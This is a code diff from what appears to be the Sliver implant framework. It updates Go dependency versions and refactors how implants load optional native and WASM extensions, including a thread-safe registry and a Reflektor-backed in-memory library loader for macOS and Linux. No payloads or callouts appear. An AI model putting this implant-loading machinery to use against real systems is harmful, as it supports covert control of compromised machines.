@@ -521,8 +516,8 @@ github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193
|
||||
github.com/lesnuages/snitch v0.6.0/go.mod h1:RfXlAVJYL7gUoZ9VMMon4LqrPiAjC8x62Ntbse4a4s0=
|
||||
github.com/line/line-bot-sdk-go v7.8.0+incompatible h1:Uf9/OxV0zCVfqyvwZPH8CrdiHXXmMRa/L91G3btQblQ=
|
||||
github.com/line/line-bot-sdk-go v7.8.0+incompatible/go.mod h1:0RjLjJEAU/3GIcHkC3av6O4jInAbt25nnZVmOFUgDBg=
|
||||
github.com/lucasb-eyer/go-colorful v1.4.0 h1:UtrWVfLdarDgc44HcS7pYloGHJUjHV/4FwW4TvVgFr4=
|
||||
github.com/lucasb-eyer/go-colorful v1.4.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
|
||||
github.com/lucasb-eyer/go-colorful v1.4.1 h1:1EO+WB73+EH8EVbzlrG3KLAfEypQWVHIBqlTf+2hNss=
|
||||
github.com/lucasb-eyer/go-colorful v1.4.1/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
|
||||
github.com/mailgun/errors v0.4.0 h1:6LFBvod6VIW83CMIOT9sYNp28TCX0NejFPP4dSX++i8=
|
||||
@@ -543,8 +538,8 @@ github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D
|
||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
|
||||
github.com/mattn/go-runewidth v0.0.23 h1:7ykA0T0jkPpzSvMS5i9uoNn2Xy3R383f9HDx3RybWcw=
|
||||
github.com/mattn/go-runewidth v0.0.23/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs=
|
||||
github.com/mattn/go-runewidth v0.0.24 h1:cpokDiIn0MGnhdHwuWnJBITySJ20QyNGnY2kR/ay2DU=
|
||||
github.com/mattn/go-runewidth v0.0.24/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs=
|
||||
github.com/mattn/go-sqlite3 v1.14.32 h1:JD12Ag3oLy1zQA+BNn74xRgaBbdhbNIDYvQUEuuErjs=
|
||||
github.com/mattn/go-sqlite3 v1.14.32/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
|
||||
github.com/mdlayher/genetlink v1.3.2 h1:KdrNKe+CTu+IbZnm/GVUMXSqBBLqcGpRDa0xkQy56gw=
|
||||
@@ -580,6 +575,10 @@ github.com/moloch--/readline v0.0.0-20260129035512-cb5b3e87d51a h1:Q69DxLWF+Z8oI
|
||||
github.com/moloch--/readline v0.0.0-20260129035512-cb5b3e87d51a/go.mod h1:CwNkh9BmFBBCSO6mdDaNWb34rOqQsI9eYbxyqvOEazY=
|
||||
github.com/moloch--/sgn v0.0.5 h1:92GFaRpe+353uhqzFiNKXKgmTiD4dBxnvb8gd4MaV/g=
|
||||
github.com/moloch--/sgn v0.0.5/go.mod h1:FyWfCtdynywgLmVR71vTJztZ3WkGSkR91Y4EOijUutE=
|
||||
github.com/moloch--/sgn v0.1.1 h1:ok67KAIkEpiatl6pesQAjpjqXUZwqI2l7CIJfXH4N0Q=
|
||||
github.com/moloch--/sgn v0.1.1/go.mod h1:qrMzA8Tf9oiGZvWLaZvfKUetiUM61srSZdmq3gINies=
|
||||
github.com/moloch--/sgn v0.1.2 h1:tWmhDNpiZfWBg5+3uPnfJDRBmB219TnVto/RESOqoFo=
|
||||
github.com/moloch--/sgn v0.1.2/go.mod h1:qrMzA8Tf9oiGZvWLaZvfKUetiUM61srSZdmq3gINies=
|
||||
github.com/muesli/cancelreader v0.2.2 h1:3I4Kt4BQjOR54NavqnDogx/MIoWBFa0StPA8ELUXHmA=
|
||||
github.com/muesli/cancelreader v0.2.2/go.mod h1:3XuTXfFS2VjM+HTLZY9Ak0l6eUKfijIfMUZ4EgX0QYo=
|
||||
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
|
||||
@@ -678,8 +677,8 @@ github.com/sliverarmory/beignet v0.0.3 h1:ssR6AK9lirVulHZhQMyMmVAi0FcFwWxlh9LwKC
|
||||
github.com/sliverarmory/beignet v0.0.3/go.mod h1:xXfTKBJqFBY/pakRFwJ+5+oGiSlg2CiCVUg/76kW1H4=
|
||||
github.com/sliverarmory/malasada v0.0.3 h1:b2KG2NhQVfBIIrbP8rGJwmdh7o8LH6NKYKH1DF4No1U=
|
||||
github.com/sliverarmory/malasada v0.0.3/go.mod h1:F96IgTOoX72FU995F+Jip0ni8Z5sXiYOwfmlRGobJkQ=
|
||||
github.com/sliverarmory/reflektor v0.0.2 h1:nrEEFXrYiYFLCqyMpOJpe4RsY0Pu3tc1CvwChsNoAq4=
|
||||
github.com/sliverarmory/reflektor v0.0.2/go.mod h1:Rw7qTWQQlCM3YTxxeuklFt3Q+kh1Ytlmzg5UVw1Nhkg=
|
||||
github.com/sliverarmory/reflektor v0.0.7 h1:VpH5s9KXM5GOZXtT7Iz5tW1MdMu5YnFL+NnCOT5UtOQ=
|
||||
github.com/sliverarmory/reflektor v0.0.7/go.mod h1:+lCyQy0xHVqx6D5nYbcz5XIDVtAGbDMIMU0Yc6Brb1s=
|
||||
github.com/sliverarmory/wasm-donut v0.0.3 h1:sldbfAsz1YziULlhDKpU3DY/+/dAfv5gl26qSqHIpzE=
|
||||
github.com/sliverarmory/wasm-donut v0.0.3/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
|
||||
github.com/sony/sonyflake v1.0.0 h1:MpU6Ro7tfXwgn2l5eluf9xQvQJDROTBImNCfRXn/YeM=
|
||||
@@ -927,7 +926,6 @@ golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211025201205-69cdffdb9359/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
@@ -945,8 +943,8 @@ golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.46.0 h1:noSf2Fq6F8DBgS+LysIkx7rIExoNHJsxOAtPp4rthXw=
|
||||
golang.org/x/sys v0.46.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
||||
golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs=
|
||||
golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
||||
golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||
|
||||
+2
-5
@@ -4,14 +4,14 @@ go 1.26.6
|
||||
|
||||
require (
|
||||
filippo.io/age v1.1.1
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0
|
||||
github.com/Ne0nd0g/go-clr v1.0.3
|
||||
github.com/ebitengine/purego v0.10.1
|
||||
github.com/gofrs/uuid v4.0.0+incompatible
|
||||
github.com/hashicorp/yamux v0.1.2
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/miekg/dns v1.1.50
|
||||
github.com/sliverarmory/reflektor v0.0.2
|
||||
github.com/sliverarmory/reflektor v0.0.7
|
||||
github.com/stretchr/testify v1.8.4
|
||||
github.com/tetratelabs/wazero v1.7.1
|
||||
github.com/things-go/go-socks5 v0.0.4
|
||||
@@ -25,11 +25,8 @@ require (
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 // indirect
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
|
||||
github.com/Microsoft/go-winio v0.6.0 // indirect
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/google/btree v1.1.2 // indirect
|
||||
|
||||
+4
-12
@@ -1,22 +1,16 @@
|
||||
filippo.io/age v1.1.1 h1:pIpO7l151hCnQ4BdyBujnGP2YlUo0uj6sAVNHGBvXHg=
|
||||
filippo.io/age v1.1.1/go.mod h1:l03SrzDUrBkdBx8+IILdnn2KZysqQdbEBUQ4p3sqEQE=
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 h1:8kQNJC9AxAaNs0JkXnWUfbNeDnIO1QLYYWjYqC6JEE4=
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0 h1:1sdnMvqxxlMXsu8ku/Xrh6gi3V40ykksst5fd0lfWnc=
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc h1:7D+Bh06CRPCJO3gr2F7h1sriovOZ8BMhca2Rg85c2nk=
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
|
||||
github.com/Microsoft/go-winio v0.6.0 h1:slsWYD/zyx7lCXoZVlvQrj0hPTM1HI4+v1sIda2yDvg=
|
||||
github.com/Microsoft/go-winio v0.6.0/go.mod h1:cTAf44im0RAYeL23bpB+fzCyDH2MJiz2BO69KH/soAE=
|
||||
github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4=
|
||||
github.com/Ne0nd0g/go-clr v1.0.3/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/ebitengine/purego v0.10.1 h1:dewVBCBT2GaMu1SrNTYxQhgQBethzfhiwvZiLGP/qyY=
|
||||
github.com/ebitengine/purego v0.10.1/go.mod h1:iIjxzd6CiRiOG0UyXP+V1+jWqUXVjPKLAI0mRfJZTmQ=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
|
||||
github.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw=
|
||||
@@ -43,12 +37,11 @@ github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
|
||||
github.com/sliverarmory/reflektor v0.0.2 h1:nrEEFXrYiYFLCqyMpOJpe4RsY0Pu3tc1CvwChsNoAq4=
|
||||
github.com/sliverarmory/reflektor v0.0.2/go.mod h1:Rw7qTWQQlCM3YTxxeuklFt3Q+kh1Ytlmzg5UVw1Nhkg=
|
||||
github.com/sliverarmory/reflektor v0.0.7 h1:VpH5s9KXM5GOZXtT7Iz5tW1MdMu5YnFL+NnCOT5UtOQ=
|
||||
github.com/sliverarmory/reflektor v0.0.7/go.mod h1:+lCyQy0xHVqx6D5nYbcz5XIDVtAGbDMIMU0Yc6Brb1s=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
|
||||
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
|
||||
github.com/tetratelabs/wazero v1.7.1 h1:QtSfd6KLc41DIMpDYlJdoMc6k7QTN246DM2+n2Y/Dx8=
|
||||
@@ -82,7 +75,6 @@ golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
|
||||
@@ -2,13 +2,15 @@
|
||||
|
||||
## Overview
|
||||
|
||||
Extension host runtime allowing implants to load optional capabilities. Manages sandboxing, lifecycle, and communication with extension modules. Runtime components handle extension darwin, extension windows, memfs, and WASM for implant-side extension features.
|
||||
Extension host runtime allowing implants to load optional capabilities. Manages native shared-library and WASM extension lifecycle, registration, and communication across supported implant platforms.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `extension.go` – Core extension host that loads modules and brokers RPC communication.
|
||||
- `extension_darwin.go` – macOS-specific stubs and build tags for extension support.
|
||||
- `extension_windows.go` – Windows-specific integration for loading and managing extensions.
|
||||
- `extension.go` – Thread-safe native extension registry and single-flight loading lifecycle.
|
||||
- `extension_darwin.go` – macOS constructor for the shared Reflektor-backed Unix loader.
|
||||
- `extension_linux.go` – Linux constructor for the shared Reflektor-backed Unix loader.
|
||||
- `extension_unix.go` – CGO-free macOS/Linux loading, export invocation, and callback bridge.
|
||||
- `extension_windows.go` – Windows-specific Reflektor integration for loading and invoking extensions.
|
||||
- `memfs.go` – Implements the in-memory filesystem backing extension assets.
|
||||
- `memfs_test.go` *(tests)* – Tests the in-memory filesystem behavior for extensions.
|
||||
- `wasm.go` – Sets up the WASM runtime for implant extensions and handles module lifecycle.
|
||||
|
||||
@@ -20,13 +20,31 @@ package extension
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"sync"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
var extensions map[string]Extension
|
||||
const (
|
||||
// Success indicates that a native extension callback completed successfully.
|
||||
Success = 0
|
||||
// Failure indicates that a native extension callback failed.
|
||||
Failure = 1
|
||||
)
|
||||
|
||||
var (
|
||||
extensions map[string]Extension
|
||||
extensionLoads map[string]*extensionLoad
|
||||
extensionsMu sync.RWMutex
|
||||
)
|
||||
|
||||
type extensionLoad struct {
|
||||
done chan struct{}
|
||||
err error
|
||||
waiters int
|
||||
}
|
||||
|
||||
type Extension interface {
|
||||
Load() error
|
||||
@@ -36,10 +54,47 @@ type Extension interface {
|
||||
}
|
||||
|
||||
func Add(e Extension) {
|
||||
extensionsMu.Lock()
|
||||
defer extensionsMu.Unlock()
|
||||
extensions[e.GetID()] = e
|
||||
}
|
||||
|
||||
// Register loads an extension once per ID and publishes it only after loading
|
||||
// succeeds. Concurrent registrations for the same ID wait for the in-flight
|
||||
// load instead of mapping duplicate libraries and allocating duplicate callback
|
||||
// trampolines.
|
||||
func Register(e Extension) error {
|
||||
id := e.GetID()
|
||||
extensionsMu.Lock()
|
||||
if _, found := extensions[id]; found {
|
||||
extensionsMu.Unlock()
|
||||
return nil
|
||||
}
|
||||
if loading, found := extensionLoads[id]; found {
|
||||
loading.waiters++
|
||||
extensionsMu.Unlock()
|
||||
<-loading.done
|
||||
return loading.err
|
||||
}
|
||||
loading := &extensionLoad{done: make(chan struct{})}
|
||||
extensionLoads[id] = loading
|
||||
extensionsMu.Unlock()
|
||||
|
||||
err := e.Load()
|
||||
extensionsMu.Lock()
|
||||
if err == nil {
|
||||
extensions[id] = e
|
||||
}
|
||||
loading.err = err
|
||||
close(loading.done)
|
||||
delete(extensionLoads, id)
|
||||
extensionsMu.Unlock()
|
||||
return err
|
||||
}
|
||||
|
||||
func List() []string {
|
||||
extensionsMu.RLock()
|
||||
defer extensionsMu.RUnlock()
|
||||
var extList []string
|
||||
for id := range extensions {
|
||||
extList = append(extList, id)
|
||||
@@ -48,10 +103,15 @@ func List() []string {
|
||||
}
|
||||
|
||||
func Run(extID string, funcName string, arguments []byte, callback func([]byte)) error {
|
||||
if ext, found := extensions[extID]; found {
|
||||
extensionsMu.RLock()
|
||||
ext, found := extensions[extID]
|
||||
extensionsMu.RUnlock()
|
||||
if found {
|
||||
return ext.Call(funcName, arguments, callback)
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
extensionsMu.RLock()
|
||||
defer extensionsMu.RUnlock()
|
||||
for id, ext := range extensions {
|
||||
log.Printf("Extension '%s' (%s)", id, ext.GetArch())
|
||||
}
|
||||
@@ -61,4 +121,5 @@ func Run(extID string, funcName string, arguments []byte, callback func([]byte))
|
||||
|
||||
func init() {
|
||||
extensions = make(map[string]Extension)
|
||||
extensionLoads = make(map[string]*extensionLoad)
|
||||
}
|
||||
@@ -18,113 +18,10 @@ package extension
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"runtime"
|
||||
"sync"
|
||||
"unsafe"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/Binject/universal"
|
||||
)
|
||||
|
||||
type DarwinExtension struct {
|
||||
id string
|
||||
data []byte
|
||||
module *universal.Library
|
||||
arch string
|
||||
serverStore bool
|
||||
init string
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
type extensionArguments struct {
|
||||
inDataSize uintptr
|
||||
inDataBuff uintptr
|
||||
outDataSize uintptr
|
||||
outDataBuff uintptr
|
||||
}
|
||||
// DarwinExtension is a Reflektor-backed native macOS extension.
|
||||
type DarwinExtension = UnixExtension
|
||||
|
||||
// NewDarwinExtension creates a native macOS extension backed by Reflektor.
|
||||
func NewDarwinExtension(data []byte, id string, arch string, init string) *DarwinExtension {
|
||||
return &DarwinExtension{
|
||||
id: id,
|
||||
data: data,
|
||||
arch: arch,
|
||||
init: init,
|
||||
}
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) GetID() string {
|
||||
return d.id
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) GetArch() string {
|
||||
return d.arch
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) Load() error {
|
||||
var err error
|
||||
d.Lock()
|
||||
defer d.Unlock()
|
||||
loader, err := universal.NewLoader()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
d.module, err = loader.LoadLibrary(d.id, &d.data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if d.init != "" {
|
||||
if _, errInit := d.module.Call(d.init); errInit != nil {
|
||||
return errInit
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
|
||||
// We currently have 2 issues with Darwin extensions:
|
||||
// - cppgo (used by universal) fucks up when calling a function with more than 1 argument
|
||||
// - we don't have Go callback support for the loaded extension,
|
||||
// so we have to wait for the call to finish to get the results
|
||||
// To circumvent these issues, we pass the extensionArguments structure
|
||||
// as the only argument to the call, so we can pass args in and extract
|
||||
// the result at the same time.
|
||||
runtime.LockOSThread()
|
||||
defer runtime.UnlockOSThread()
|
||||
extArgs := extensionArguments{}
|
||||
if len(arguments) > 0 {
|
||||
extArgs.inDataBuff = uintptr(unsafe.Pointer(&arguments[0]))
|
||||
extArgs.inDataSize = uintptr(uint64(len(arguments)))
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Calling %s, arg size: %d\n", export, extArgs.inDataSize)
|
||||
// {{end}}
|
||||
d.Lock()
|
||||
defer d.Unlock()
|
||||
_, err := d.module.Call(export, uintptr(unsafe.Pointer(&extArgs)))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("%s done!\n", export)
|
||||
// {{end}}
|
||||
outData := new(bytes.Buffer)
|
||||
outDataSize := int(extArgs.outDataSize)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Out data size: %d\n", outDataSize)
|
||||
// {{end}}
|
||||
for i := 0; i < outDataSize; i++ {
|
||||
b := (*byte)(unsafe.Pointer(uintptr(i) + extArgs.outDataBuff))
|
||||
outData.WriteByte(*b)
|
||||
}
|
||||
// We currently don't have a way to trigger a callback
|
||||
// in the loaded code for Darwin.
|
||||
if outData.Len() > 0 {
|
||||
onFinish(outData.Bytes())
|
||||
}
|
||||
return nil
|
||||
return newUnixExtension(data, id, arch, init)
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
//go:build 386 || amd64 || arm64
|
||||
|
||||
package extension
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// LinuxExtension is a Reflektor-backed native Linux extension.
|
||||
type LinuxExtension = UnixExtension
|
||||
|
||||
// NewLinuxExtension creates a native Linux extension backed by Reflektor.
|
||||
func NewLinuxExtension(data []byte, id string, arch string, init string) *LinuxExtension {
|
||||
return newUnixExtension(data, id, arch, init)
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
//go:build !(386 || amd64 || arm64)
|
||||
|
||||
package extension
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import "errors"
|
||||
|
||||
// LinuxExtension reports unsupported native-extension operations on Linux
|
||||
// architectures without a Reflektor backend.
|
||||
type LinuxExtension struct {
|
||||
id string
|
||||
arch string
|
||||
}
|
||||
|
||||
// NewLinuxExtension creates an unsupported-architecture extension placeholder.
|
||||
func NewLinuxExtension(_ []byte, id string, arch string, _ string) *LinuxExtension {
|
||||
return &LinuxExtension{id: id, arch: arch}
|
||||
}
|
||||
|
||||
// GetID returns the extension identifier.
|
||||
func (l *LinuxExtension) GetID() string {
|
||||
return l.id
|
||||
}
|
||||
|
||||
// GetArch returns the extension architecture.
|
||||
func (l *LinuxExtension) GetArch() string {
|
||||
return l.arch
|
||||
}
|
||||
|
||||
// Load reports that native extensions are unsupported on this architecture.
|
||||
func (l *LinuxExtension) Load() error {
|
||||
return errors.New("{{if .Config.Debug}} native extensions are not supported on this Linux architecture {{end}}")
|
||||
}
|
||||
|
||||
// Call reports that native extensions are unsupported on this architecture.
|
||||
func (l *LinuxExtension) Call(_ string, _ []byte, _ func([]byte)) error {
|
||||
return errors.New("{{if .Config.Debug}} native extensions are not supported on this Linux architecture {{end}}")
|
||||
}
|
||||
@@ -0,0 +1,236 @@
|
||||
package extension
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
